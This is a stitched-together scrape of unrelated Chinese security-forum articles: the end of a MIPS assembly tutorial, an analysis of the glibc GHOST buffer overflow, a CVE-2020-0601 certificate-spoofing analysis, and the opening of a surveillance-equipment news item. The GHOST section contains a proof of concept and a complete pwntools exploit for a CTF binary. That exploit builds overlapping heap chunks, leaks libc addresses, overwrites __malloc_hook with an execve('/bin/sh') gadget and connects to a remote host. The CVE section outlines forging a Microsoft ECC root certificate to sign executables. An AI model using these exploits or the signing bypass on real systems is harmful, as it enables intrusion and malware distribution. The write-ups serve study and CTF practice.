标签处的代码，将程序结束。
快速初始化数组
.data
array: .word 20 :3 #批量定义3个整型数据20
## 分支跳转
* `bgt`(branch if greater than):用于 **大于** 比较
bgt $t0,$t1,sub # 如果$t0中的数据大于$t1,则跳转到sub分支,执行sub中的代码,否则,按照顺序执行bgt下面的代码, sub是一个代号,可以自定义
sub:
* `beq`(branch equal):用于 **等于** 比较
beq $t0,$t1,sub # 如果$t0中的数据等于$t1,则跳转到sub分支,执行sub中的代码,否则,按照顺序执行beq下面的代码, sub是一个代号,可以自定义
sub:
* `ble`(branch if less than):用于 **小于** 比较
ble $t0,$t1,sub # 如果$t0中的数据小于$t1,则跳转到sub分支,执行sub中的代码,否则,按照顺序执行ble下面的代码, sub是一个代号,可以自定义
sub:
这个东西怎么用呢？举个例子
当我们在c语言中简单写好饿了一个比较数字大小的小工具
scanf("%d",$a);
scanf("%d",$b);
if(a>b){
printf("YES");
}else{
printf("NO");
}
在mips中如何实现呢？首先在`.data`节定义了两个字符串变量`msg_yes`和`msg_no`，分别存储`"YES\0"`和`"NO\0"`两个字符串，其中
\0 表示字符串的结尾。
接下来在.text节中，使用li指令将`$v0`寄存器设置为5，表示要使用`syscall`服务5读取一个整数。然后使用`syscall`指令，等待用户输入一个整数，并将输入的结果存储在`$v0`寄存器中。接着使用move指令将`$v0`中的值复制到$t0寄存器中。
接下来再次使用li和syscall指令读取一个整数，并将输入结果存储在$t1寄存器中。
然后使用bgt指令比较`$t0`和`$t1`的大小，如果`$t0`大于`$t1`，则跳转到标记为sub的代码块；否则继续执行下一条指令。
如果`$t0`大于`$t1`，则使用li和la指令将`$v0`和`$a0`寄存器分别设置为4和msg_no，表示要使用syscall服务4输出字符串msg_no。然后使用syscall指令将msg_no字符串输出到控制台。
最后使用li指令将`$v0`寄存器设置为10，表示要使用syscall服务10退出程序，然后使用syscall指令退出程序。
如果`$t0`不大于`$t1`，则直接跳转到标记为sub的代码块。在sub代码块中，使用li和la指令将`$v0`和`$a0`寄存器分别设置为4和msg_yes，表示要使用syscall服务4输出字符串msg_yes。然后使用syscall指令将msg_yes字符串输出到控制台。
最后使用li指令将$v0寄存器设置为10，表示要使用syscall服务10退出程序，然后使用syscall指令退出程序。
可以发现，麻烦了不少。
# 用$t0指代a ,$t1指代b
.data
msg_yes: .ascii "YES\0" # \0表示字符串结尾
msg_no: .ascii "NO\0"
.text
li $v0,5 #控制syscall为读取integer状态
syscall # 此时io控制台显示光标,可输入数字,回车后将输入的数字保存在$v0中
move $t0,$v0 #由于接下来还需要使用$v0 ,为避免数据被覆盖掉 将输入的数据转移到$t0中进行临时保存
li $v0,5
syscall
move $t1,$v0
bgt $t0,$t1,sub
li $v0,4
la $a0,msg_no
syscall
#结束程序
li $v0,10
syscall
sub:
li $v0,4
la $a0,msg_yes
syscall
我们再看一个计算从一到一百的和的mips汇编。首先，通过 .text 段设置了两个寄存器 $t0 和 $t1 分别为 1 和 0。
然后，通过 loop 标签实现了一个循环，每次循环中：
1. 计算 $t1 = $t1 + $t0，将 $t0 加到 $t1 中。
2. 计算 $t0 = $t0 + 1，将 $t0 加 1。
3. 检查 $t0 是否小于等于 100，如果小于等于 100，则跳转到 loop 标签继续执行循环。
最后，将 $t1 中的值作为参数传递给系统调用函数，通过 syscall 输出到控制台上。
总体来说，以上代码实现的功能是计算从 1 到 100 的所有整数的和，并将结果输出到控制台上。
# 用$t0指代i ,$t1指代s
.text
li $t0 ,1
li $t1 ,0
loop:
# s=s+i;
add $t1,$t1,$t0
add $t0,$t0,1
ble $t0,100,loop
move $a0,$t1
li $v0,1
syscall
## 关于多文件的处理
在文件A中定义函数
fun:
li $v0,1
li $a0,1
syscall
jr $ra
在文件B中使用关键字`.include`引用A文件中的函数
.text
jal fun
.include "A.asm"
所有文件必须在同一目录下！！！
## 宏
### 宏的替换
全局替换，使用我们上面的`.include`伪指令进行替换
### 宏匹配
在汇编中,如果我们要依次打印1、2、3三个整数,那么汇编如下
print1:
li $v0,1
li $a0,1
syscall
jr $ra
print2:
li $v0,1
li $a0,2
syscall
jr $ra
print2:
li $v0,1
li $a0,3
syscall
jr $ra
我们发现使用标签的方式定义函数,当函数体内容存在不确定变量值时,代码非常冗余, 如果使用高级语言进行封装的话,我们一般一个函数就搞定了:
void print(int a){
print(a);
}
有没有办法使得汇编能像高级语言一样简洁呢?
在MARS中给我们提供了一个扩展伪指令,叫做 **宏匹配**
宏匹配使用的格式如下:
.macro 别名
#汇编指令...
.end_macro
举个例子
li $v0,10
syscall
#比如我们要对以上两行指令使用宏匹配进行封装
#封装结果为
.macro exit
li $v0,10
syscall
.end_macro
#在代码中引用
.text
exit #直接使用别名调用
如果我们要封装一个打印整型数据的函数,那么我们可以:
#封装结果为
.macro print_int(%param)
li $v0,1
li $a0,%param
syscall
.end_macro
#在代码中引用
.text
print_int(1) #直接使用别名调用
print_int(2)
print_int(3)
经过这样对程序的封装之后，我们使用再去编写程序的成本就大大降低了，避免了重复编写系统调用代码的繁琐。
结合上面学的对多文件的处理，我们会在很多地方见到将封装好的函数单独放在一个文件中,然后直接在头部`.include`。
### 宏定义
我们可以使用伪指令`.eqv`来对系统中原生的东西进行定义别名进行调用
举个例子：首先，使用伪指令 ".eqv" 定义了三个常量。其中，常量 "LIMIT" 被定义为数值 20 的别名，常量 "CTR" 被定义为寄存器
`$t2`的别名，常量 "CLEAR_CTR" 被定义为将寄存器，常量 "CLEAR_CTR" 被定义为将寄存器`$t2`的值清零的伪指令`add CTR,
$zero, 0`的别名。
在 ".text" 段中，首先将系统调用号 1 (即 "print_int") 装载到寄存器`$v0`中。然后调用伪指令 "CLEAR_CTR"，将寄存器
`$t2` 清零。接着使用 "li" 指令将数值 20 装载到寄存器 `$t0` 中，该值为之前定义的常量 "LIMIT" 的值。
.eqv LIMIT 20 #给20这个立即数取个别名为LIMIT
.eqv CTR $t2
.eqv CLEAR_CTR add CTR, $zero, 0
.text
li $v0,1
CLEAR_CTR
li $t0,LIMIT
**宏定义** 和 **宏匹配** 必须 **先定义后使用** ,也就是说定义的代码需要放在前头
## Mips汇编指令汇总
这里乱码三千师傅已经整理的很全了，直接放图吧
## 参考链接
<https://cloud.tencent.com/developer/article/1867013> 汇编语言之MIPS汇编
<https://www.cnblogs.com/thoupin/p/4018455.html> Mips汇编入门
<https://valeeraz.github.io/2020/05/08/architecture-mips/> MIPS汇编语言入门 | 社区文章 |
# GHOST漏洞解析与题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞描述
* glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞，导致使用gethostbyname系列函数的某些软件存在代码执行或者信息泄露的安全风险
* 通过gethostbyname()函数或gethostbyname2()函数，将可能产生一个堆上的缓冲区溢出
* 经由gethostbyname_r()或gethostbyname2_r()，则会触发调用者提供的缓冲区溢出
* 漏洞产生时至多sizeof(char* )个字节可被覆盖
* 影响范围：2.2 <= glibc <=2.17
* gethostbyname*()系列函数
#include <netdb.h>
struct hostent * gethostbyname(const char * hostname); //根据输入的主机名，查找IP地址
/* Glibc2 also has reentrant versions gethostent_r(), gethostbyaddr_r(), gethostbyname_r() and gethostbyname2_r().
The caller supplies a hostent structure ret which will be filled in on success, and a temporary work buffer buf of size buflen.
After the call, result will point to the result on success. */
int gethostbyname_r( //和gethostbyname原理一样，只是内存分配交给用户
const char *name, //要解析的名字
struct hostent *ret, //保存返回值的地方
char *buf, //这个函数运行时的缓冲区
size_t buflen, //缓冲区长度
struct hostent **result,//如果失败，则result为null，如果成功则指向ret
int *h_errnop //保存错误代码
);
* 结构体
/* Description of data base entry for a single host. 描述一个地址最基本的条目 */
struct hostent
{
char *h_name; /* Official name of host. 正式主机名*/
char **h_aliases; /* Alias list. 别名*/
int h_addrtype; /* Host address type. IP地址类型*/
int h_length; /* Length of address. 地址长度*/
char **h_addr_list; /* List of addresses from name server. IP地址列表*/
};
* 用法
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
int main(int argc, char** argv){
char* name = argv[1];
struct hostent* host = gethostbyname(name);
if(host==NULL)
printf("error\n");
else{
printf("%s\n", host->h_name);
for(int i=0; host->h_aliases[i]!=NULL; i++)
printf("\t%s\n", host->h_aliases[i]);
printf("IP type %d, IP addr len %d\n", host->h_addrtype, host->h_length);
char buffer[INET_ADDRSTRLEN];
for(int i=0; host->h_addr_list[i]!=NULL; i++){
char* ip = inet_ntop(host->h_addrtype, host->h_addr_list[i], buffer, sizeof(buffer));
printf("\t%s\n", ip);
}
}
}
<https://blog.csdn.net/daiyudong2020/article/details/51946080>
* 特殊点：`如果name输入的是IP地址，则不会去DNS查询，而是直接写入到hostent指向的内存区中，`这里因为没有进行合法性判断，所以输入奇怪的IP，比如检测代码中的一串0。它会被直接写入tmp.buffer，一同写入的还包括解析的主机信息。所以就很容易超过tmp.buffer的长度，造成溢出。
POC
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct
{
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = {"buffer", CANARY};
int main(void)
{
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16 * sizeof(unsigned char) - 2 * sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
if (strcmp(temp.canary, CANARY) != 0)
{
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE)
{
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}
## 源码分析
gethostbyname函数入口点在inet/gethsbynm.c系列文件中
#define LOOKUP_TYPE struct hostent
#define FUNCTION_NAME gethostbyname
#define DATABASE_NAME hosts
#define ADD_PARAMS const char *name
#define ADD_VARIABLES name
#define BUFLEN 1024
#define NEED_H_ERRNO 1
#define HANDLE_DIGITS_DOTS 1
#include <nss/getXXbyYY.c> //通过宏达到模版展开的效果
* nss/getXXbyYY.c也先通过__nss_hostname_digits_dots()判断是否为IP,
* 如果要解析IP的话就直接结束
* 如果是域名那么后面调用__gethostbyname_r()进行解析
//根据宏定义, 会自动被展开为一个函数定义, 这里会展开为gethostbyname()的定义
LOOKUP_TYPE *FUNCTION_NAME(const char *name) //函数定义
{
static size_t buffer_size; //静态缓冲区的长度
static LOOKUP_TYPE resbuf;
LOOKUP_TYPE *result;
#ifdef NEED_H_ERRNO
int h_errno_tmp = 0;
#endif
/* Get lock. */
__libc_lock_lock(lock);
if (buffer == NULL) //如果没有缓冲区就自己申请一个
{
buffer_size = BUFLEN;
buffer = (char *)malloc(buffer_size);
}
#ifdef HANDLE_DIGITS_DOTS
if (buffer != NULL)
{
/*
- 发生漏洞的函数
- __nss_hostname_digits_dots()先对name进行预处理
- 如果要解析的name就是IP, 那就复制到resbuf中, 然后返回1
- 如果是域名, 那么就复制到resbuf中, 返回0
- 如果返回1, 说明解析的就是IP, 你那么进入done, 解析结束
*/
if (__nss_hostname_digits_dots(name, //传入的参数: 域名
&resbuf, //解析结果
&buffer, //缓冲区
&buffer_size, //缓冲区大小指针
0, //缓冲区大小
&result, //存放结果的指针
NULL, //存放状态的指针
AF_VAL, //地址族
H_ERRNO_VAR_P //错误代码
))
goto done;
}
#endif
/* DNS域名解析，宏展开
* (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR)
* => (INTERNAL(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)
* => (INTERNAL1(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)
* => __gethostbyname_r(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)
*/
while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)
#ifdef NEED_H_ERRNO
&& h_errno_tmp == NETDB_INTERNAL
#endif
)
{
char *new_buf;
buffer_size *= 2;
new_buf = (char *)realloc(buffer, buffer_size);
if (new_buf == NULL)
{
/* We are out of memory. Free the current buffer so that the
process gets a chance for a normal termination. */
free(buffer);
__set_errno(ENOMEM);
}
buffer = new_buf;
}
if (buffer == NULL)
result = NULL;
#ifdef HANDLE_DIGITS_DOTS
done:
#endif
/* Release lock. */
__libc_lock_unlock(lock);
#ifdef NEED_H_ERRNO
if (h_errno_tmp != 0)
__set_h_errno(h_errno_tmp);
#endif
return result;
}
* 漏洞函数：nss/digits_dots.c :__nss_hostname_digits_dots(name, resbuf, buffer, …)
* 这个函数负责处理name为IP地址的情况, 当name为域名时只是进行一些复制工作
* name指向要解析的字符串
* resbuf指向存放解析结果的hostennt结构体
* buffer则为解析时所分配的空间, resbuf中的指针指向buffer分配的空间
int __nss_hostname_digits_dots(const char *name, //要解析的名字
struct hostent *resbuf, //存放结果的缓冲区
char **buffer, //缓冲区
size_t *buffer_size, //缓冲区长度 1K
size_t buflen, //0
struct hostent **result, //指向结果指针的指针
enum nss_status *status, //状态 NULL
int af, //地址族
int *h_errnop) //错误代码
{
int save;
//...
/*
* disallow names consisting only of digits/dots, unless they end in a dot.
* 不允许name只包含数字和点，除非用点结束
*/
if (isdigit(name[0]) || isxdigit(name[0]) || name[0] == ':') //name开头是十进制字符/十六进制字符/冒号，就判断为IP地址
{
const char *cp;
char *hostname;
//host_addr是一个指向16个unsignned char数组的指针
typedef unsigned char host_addr_t[16];
host_addr_t *host_addr;
//h_addr_ptrs就是一个指向两个char*数组的指针
typedef char *host_addr_list_t[2];
host_addr_list_t *h_addr_ptrs;
//别名的指针列表
char **h_alias_ptr;
//需要的空间
size_t size_needed;
//根据地址族计算IP地址长度
int addr_size;
switch (af)
{
case AF_INET: //IPV4
addr_size = INADDRSZ; //INADDRSZ=4
break;
case AF_INET6: //IPV6
addr_size = IN6ADDRSZ; //IN6ADDRSZ=16
break;
default:
af = (_res.options & RES_USE_INET6) ? AF_INET6 : AF_INET;
addr_size = af == AF_INET6 ? IN6ADDRSZ : INADDRSZ;
break;
}
//计算函数运行所需要的缓冲区大小，这里出了问题，没有给h_alias_ptr分配空间，因此产生溢出
size_needed = (sizeof(*host_addr) + sizeof(*h_addr_ptrs) + strlen(name) + 1); //16 + 16 + strlen(name) + 1
//如果buffer_size指针为空, 并且buflen还不够, 那么重新申请缓冲区时就没法更新buffer_size, 只能报错
if (buffer_size == NULL)
{
if (buflen < size_needed)
{
if (h_errnop != NULL)
*h_errnop = TRY_AGAIN;
__set_errno(ERANGE);
goto done;
}
}
else if (buffer_size != NULL && *buffer_size < size_needed) //如果给的缓冲区不足，就重新调整buffer空间
{
char *new_buf;
*buffer_size = size_needed; //新buffer_size
new_buf = (char *)realloc(*buffer, *buffer_size); //就把buffer空间调整到所需要的大小
//分配失败
if (new_buf == NULL)
{
save = errno;
free(*buffer);
*buffer = NULL;
*buffer_size = 0;
__set_errno(save);
if (h_errnop != NULL)
*h_errnop = TRY_AGAIN;
*result = NULL;
goto done;
}
*buffer = new_buf; //写入新缓冲区
}
//缓冲区初始化
memset(*buffer, '\0', size_needed);
//对缓冲区进行分割
host_addr = (host_addr_t *)*buffer; //占用0x10B [*buffer, *buffer + 0x10)
h_addr_ptrs = (host_addr_list_t *)((char *)host_addr + sizeof(*host_addr)); //占用0x10B [*buffer + 0x10, *buffer + 0x20)
//这里出了问题，没有给h_alias_ptr分配空间，因此产生溢出
h_alias_ptr = (char **)((char *)h_addr_ptrs + sizeof(*h_addr_ptrs)); //占用0x8B [*buffer + 0x20, *buffer + 0x28)
hostname = (char *)h_alias_ptr + sizeof(*h_alias_ptr); //占用strlen(name)+1 [*buffer + 0x28, *buffer + 0x28 + strlen(name) + 1)
if (isdigit(name[0])) //IPv4: 开头是数字
{
for (cp = name;; ++cp) //遍历name
{
if (*cp == '\0') //如果name结束了
{
int ok;
if (*--cp == '.') //如果是.\0这样的，则非法
break;
//IP地址是字符串表示，转换成网络序列保存在host_addr中, host_addr用的就是函数内部的缓冲区*buffer
if (af == AF_INET)
ok = __inet_aton(name, (struct in_addr *)host_addr);
else
{
assert(af == AF_INET6);
ok = inet_pton(af, name, host_addr) > 0;
}
//转换出错
if (!ok)
{
*h_errnop = HOST_NOT_FOUND;
if (buffer_size)
*result = NULL;
goto done;
}
//直接把name复制到hostname中, 用hostname作为结果中的h_name
//strcpy从*buffer+0x28开始写入strlen(name)+1, 产生溢出
resbuf->h_name = strcpy(hostname, name);
//没有别名
h_alias_ptr[0] = NULL;
resbuf->h_aliases = h_alias_ptr;
//h_addr_list只有一个
(*h_addr_ptrs)[0] = (char *)host_addr; //地址也是一样的
(*h_addr_ptrs)[1] = NULL;
resbuf->h_addr_list = *h_addr_ptrs;
//设置长度与IP地址类型
if (af == AF_INET && (_res.options & RES_USE_INET6))
{
//...
}
else
{
resbuf->h_addrtype = af;
resbuf->h_length = addr_size;
}
//返回的状态
//...
//结束
goto done;
}
if (!isdigit(*cp) && *cp != '.') //既不是字母，又不是. 那么就不是合法的IPv4，退出
break;
}
}
if ((isxdigit(name[0]) && strchr(name, ':') != NULL) || name[0] == ':') //IPv6: 开始是hex字符并且包含':'. 或者包含分号
{
//...
}
}
return 0;
done:
return 1;
}
* 判断IP地址的方法很简陋
* 在生成hostent结构体时出了问题没有计算h_alias_ptr
图示：
* 因此把hostname复制过去，在这里产生了溢出8B
* 函数的数据结构:
## 题目解析
### 题目源码
//gcc pwn.c -g -o pwn
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <arpa/inet.h>
#define MAX 16
struct hostent* HostArr[MAX];
char* BufferArr[MAX];
char* NameArr[MAX];
int Menu(void)
{
puts("1.InputName");
puts("2.ShowHost");
puts("3.Delete");
puts("4.Exit");
printf(">>");
int cmd;
scanf("%d", &cmd);
return cmd;
}
void InputName(void)
{
//read idx
int idx;
printf("idx:");
scanf("%d", &idx);
if(idx<0 || idx>=MAX)
exit(0);
//alloc name buf
int len;
printf("len:");
scanf("%d", &len);
NameArr[idx] = malloc(len+1);
if(NameArr[idx]==NULL)
exit(0);
//read name
int i;
for(i=0; i<len; i++)
{
char C;
read(0, &C, 1);
NameArr[idx][i] = C;
if(NameArr[idx][i]=='\n')
break;
}
NameArr[idx][i]='\0';
//allloc buffer
int buffer_size = 0x20+len+1;
BufferArr[idx] = malloc(buffer_size);
//get host by name
HostArr[idx] = malloc(sizeof(struct hostent));
struct hostent* res;
int herrno;
gethostbyname_r(NameArr[idx], HostArr[idx], BufferArr[idx], buffer_size, &res, &herrno);
}
void ShowHost(void)
{
//read idx
int idx;
printf("idx:");
scanf("%d", &idx);
if(idx<0 || idx>=MAX)
exit(0);
struct hostent* host = HostArr[idx];
//host name
if(host->h_name!=NULL)
printf("%s\n", host->h_name);
//IP
if(host->h_addr_list!=NULL)
for(int i=0; host->h_addr_list[i]!=NULL; i++){
char* ip = host->h_addr_list[i];
printf("%s\n", ip);
}
}
void Delete(void)
{
//read idx
int idx;
printf("idx:");
scanf("%d", &idx);
if(idx<0 || idx>=MAX)
exit(0);
free(NameArr[idx]);
NameArr[idx]=NULL;
free(BufferArr[idx]);
BufferArr[idx]=NULL;
free(HostArr[idx]);
HostArr[idx]=NULL;
}
int main(int argc, char** argv)
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
int cmd=0;
while(1)
{
cmd = Menu();
if(cmd==1)
InputName();
else if(cmd==2)
ShowHost();
else if(cmd==3)
Delete();
else
break;
}
return 0;
}
* 编译时保护全开
* patchelf让编译出的文件使用2.17的libc
patchelf --set-interpreter `pwd`/ld.so.2 --set-rpath `pwd` ./pwn
## 思路
* 构造chunk重叠
* 覆盖size的目的是构造chunk重叠, 这样才能控制堆上的各种指针
* __nss_hostname_digits_dots向buffer写入时要求只能是.和十进制字符, 实测发现只写入0是最稳定可以溢出的
* hostent的size本来就是0x30, 只覆盖为一个’0’也还是0x30, 因此覆盖两个0, 让chunksize变成0x3030
* 自此又产生了三种思路,
* 如果覆盖为0x3031, 在chunk后面放0x21的在使用chunk, 直接得到一个非常大的UBchunk
* 使用top chunk作为后一个chunk, 从而与top合并
* 如果覆盖为0x3030, 那么可以通过P=0向前合并
* free时的检查
* check_in_chunk()检查最少的就是后一个chunkP=1, 并且不是top chunk的情况,
* 因此溢出Bufer的size为0x3031之后, 只需要再Buffer chunk+0x3030处伪造放上一个flat(0, 0x21, 0, 0)的chunk就可得到一个很大的UBchunk
* __nss_hostname_digits_dots在写入时对于name限制很多, 因此我们只用他去溢出size, 读入name的过程对字符限制很少, 因此总体思路为
* 利用gethostbyname_r()溢出size
* 利用read(0, name, ..)进行写入任意数据
### 泄露地址
* Show时会通过hostent结构体中得到指针进行输出, 因此我们打出chunk 重叠之后, 有两个思路
* 利用00写入覆盖hostent.h_name指针的最低字节, 使其指向某个指针, 然后泄露地址
* 直接Bin机制在hostent中写入指针, 然后写入地址
* 第二种更具有普适性, 不需要细致的调整, 因此选择第二个思路:
* 假如有N0 | B0|H0 | N1 | B1 | H1
* 利用__nss_hostname_digits_dots()在写入B0时溢出0的chunk size为0x3031
* 然后通过布局在H0+0x3030的位置放上flat(0, 0x21, 0, 0)伪造H0的nextchunk
f – ree(H0)即可打出chunk 重叠, 此时UB<=>(B0, H0, N1, B1, H1)
* 然后通过切割UB, 使得UB的fd bk指针写入到H1内部, 如下图
* 然后show(3)即可泄露地址
### getshell
* 有了地址之后getshell就很容易了
* 再N1 B1 H1后面通过布局0x70的chunk, 然后free掉, 进入Fastbin[0x70]
* 然后继续切割chunk, 修改fastbin chunk的fd为__malloc_hook-0x23, 利用0x7F伪造size
* 然后修改__malloc_hook为OGG
### EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='amd64', os='linux')
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('libc.so.6')
def Log(name):
log.success(name+' = '+hex(eval(name)))
if(len(sys.argv)==1): #local
cmd = [elf_path]
sh = process(cmd)
#proc_base = sh.libs()['/home/parallels/pwn']
else: #remtoe
sh = remote('118.190.62.234', 12435)
def Num(n):
sh.sendline(str(n))
def Cmd(n):
sh.recvuntil('>>')
Num(n)
def Name(idx, name):
Cmd(1)
sh.recvuntil('idx:')
Num(idx)
sh.recvuntil('len:')
Num(len(name))
sh.sendline(name)
def Show(idx):
Cmd(2)
sh.recvuntil('idx:')
Num(idx)
def Delete(idx):
Cmd(3)
sh.recvuntil('idx:')
Num(idx)
#chunk overlap
Name(0, '0'*0x2F)
Name(1, '0'*0x40+'10')
Name(2, '0'*0x5F)
Name(3, '0'*0x1F)
Delete(3)
Name(3, '0'*0x1F) #switch Name and Host
Name(10, '0'*0x5F)
Name(11, '0'*0x5F)
Name(12, '0'*0x5F)
Name(13, '0'*0x5F)
exp = '0'*0x2950
exp+= flat(0, 0x21, 0, 0) #B0's next chunk
Name(5, exp)
Delete(1) #UB<=>(H0, 0x3030)
#leak addr
exp = '0'.ljust(0x7F, '\x00')
Name(6, exp) #split UB chunk, H3's h_addr_list=UB's bk
Show(3)
sh.recvuntil('0'*0x1F+'\n\n')
heap_addr = u64(sh.recv(6).ljust(8, '\x00'))-0x358
Log('heap_addr')
sh.recv(17)
libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x3c17a8
Log('libc.address')
#fastbin Attack
Delete(10)
exp = '0'*0x4F
Name(7, exp)
exp = '0'*0x10
exp+= flat(0, 0x71, libc.symbols['__malloc_hook']-0x23)
exp = exp.ljust(0xBF, '0')
Name(7, exp)
Name(8, '0'*0x5F)
exp = '0'*0x13
exp+= p64(libc.address+0x462b8)
Name(8, exp.ljust(0x5F, '0'))
#gdb.attach(sh, '''
#heap bins
#telescope 0x202040+0x0000555555554000 48
#break malloc
#''')
sh.interactive()
'''
NameArr telescope 0x202040+0x0000555555554000
HostArr telescope 0x2020C0+0x0000555555554000
BufferArr telescope 0x2022C0+0x0000555555554000
0x46262 execve("/bin/sh", rsp+0x40, environ)
constraints:
rax == NULL
0x462b8 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0xe66b5 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
''' | 社区文章 |
# CVE-2020-0601漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞描述
2020年1月15日，微软公布了1月份的补丁更新列表，其中存在一个位于CryptoAPI椭圆曲线密码(ECC)证书检测绕过相关的漏洞(CVE-2020-0601)，该漏洞为NSA发现并汇报给微软。攻击者可以利用这个漏洞，使用伪造的代码签名证书对恶意的可执行文件进行签名，并以此恶意文件来进行攻击。
## 0x01 补丁分析
从微软的官方介绍上可知，此漏洞存在于crypt32.dll文件。在官方网站下载了补丁文件升级更新后，新的crypt32.dll与未更新的版本对比如下：
从图中可以看出，CertDllVerifyMicrosoftRootCertificateChainPolicy函数存在改动，查看引用该函数的地方：
从图可知，函数CertVerifyCertificateChainPolicy中有两处调用了CertDllVerifyMicrosoftRootCertificateChainPolicy函数，查看CertVerifyCertificateChainPolicy的代码：
从上图代码可知，函数CertVerifyCertificateChainPolicy将四个参数pszPolicyOID, pChainContext,
pPolicyPara,
pPolicyStatus直接传递给了CertDllVerifyMicrosoftRootCertificateChainPolicy，并未做处理。接着查看CertDllVerifyMicrosoftRootCertificateChainPolicy的代码。
注意到CertDllVerifyMicrosoftRootCertificateChainPolicy函数中有多处形如memcmp(v16,
&pbComputedHash,
0x20u)的内存对比代码，其中v16是crypt32.dll某处固定的数据，pbComputedHash是由CryptHashCertificate2函数计算过的hash值，0x20u是指对比的内存长度，刚好是ECC数字签名证书的指纹hash长度，这可以通过查看ECC根证书的详细信息可知。
而CryptHashCertificate2函数传入的值由CertDllVerifyMicrosoftRootCertificateChainPolicy的参数解析而来，并且只包含了公钥信息。由此可以判断，虽然函数CertVerifyCertificateChainPolicy将参数pszPolicyOID,
pChainContext, pPolicyPara,
pPolicyStatus都传递给了CertDllVerifyMicrosoftRootCertificateChainPolicy函数，但CertDllVerifyMicrosoftRootCertificateChainPolicy函数只利用了其中的公钥信息，存在参数校验不全的逻辑缺陷。至于为什么只校验公钥信息就会被伪造的数字签名绕过检查，在介绍CVE-2020-0601漏洞原理之前，我们先来简单介绍下椭圆曲线数字签名算法（ECDSA）。
## 0x02 椭圆曲线数字签名算法（ECDSA）
在2009年修订的FIPS
186加入了基于椭圆曲线密码的数字签名方法，称其为椭圆曲线数字签名算法（ECDSA）。由于椭圆曲线密码效率方面的优势，ECDSA的应用越来越广泛。
ECDSA算法过程如下：
* 参与数字签名的所有方都使用相同的全局域参数，用于定义椭圆曲线以及曲线上的基点。
* 签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥，使用随机数和基点，可以计算椭圆曲线上的另一个解点，作为公钥。
* 对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名，包括两个整数r和s。
* 验证者使用签名者的公钥、全局域参数、整数s作为输入，计算v，并与r比较。如果两者相等，则签名通过。
## 0x03 漏洞原理
通常，签名者产生一对公私钥后，要去证书中心（certificate
authority，简称CA），为公钥做认证，以此来证明签名者本身身份。证书中心用自己的私钥，对签名者的公钥和一些相关信息一起做签名，生成数字证书（Digital
Certificate）。由补丁分析部分可知，微软在对数字签名做合法校验时，支持椭圆曲线参数的自定义输入，又只对公钥信息做校验，存在严重缺陷。
攻击者可以传入自定义的全局域参数、签名信息s，只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate
Authority 2018的公钥保持一致，就可以绕过校验逻辑，让数字签名信息看起来就是ECC根证书签发的一样。而这，是很容易做到的。
假设ECC根证书的私钥是d(对攻击者未知)，基点是G，公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线，只需d’=1(单位元)，G‘=Q，则Q‘=d’G’=Q，从而完成攻击。
## 0x04 漏洞验证
提取ECC根证书公钥信息
生成伪造的ECC根证书
生成代码签名用的证书，并用伪造的ECC根证书做签名
打包数字签名证书
对可执行文件CVE20200601.exe签名
在未打补丁的机器上，可执行文件CVE20200601.exe的数字签名校验通过
打完补丁后，可执行文件CVE20200601.exe的数字签名信息无法验证。
## 0x05 参考资料
<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0601>
《密码编码学与网络安全——原理与实践（第六版）》
<http://www.ruanyifeng.com/blog/2011/08/what_is_a_digital_signature.html>
<https://github.com/ollypwn/cve-2020-0601>
<https://medium.com/hackernoon/bluetooth-hacking-cheating-in-elliptic-curve-billiards-c092fdf70aae> | 社区文章 |
# 机密文件曝光大量美国神秘监控设备（挂灯、垃圾桶、鸟巢）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**发生了什么事？**
近日，英国国防公司Cobham泄漏了一份长达一百二十页的机密文档［[泄漏文件PDF](https://www.documentcloud.org/documents/3038285-2014-Cobham-TCS-Catalog.html)］，而这份文档中记录了该公司出售给美国执法部门的各种监控设备信息。据了解，这些间谍设备不仅可以拦截目标手机的语音通话和文字短信，而且还可以通过智能手机来定位目标用户当前所在的位置。值得注意的是，其中还有一款设备能够大范围屏蔽某一区域的蜂窝网络信号。
据了解，The
Intercept网站所获取到的这份文件来源于美国佛罗里达州的执法部门，而这份文件中标记的日期为2014年。我们已经从政府新闻发言人Molly
Best那里得到了证实，美国政府的确从Cobham公司那里购买过这些设备，但是他并没有提供任何详细的信息。
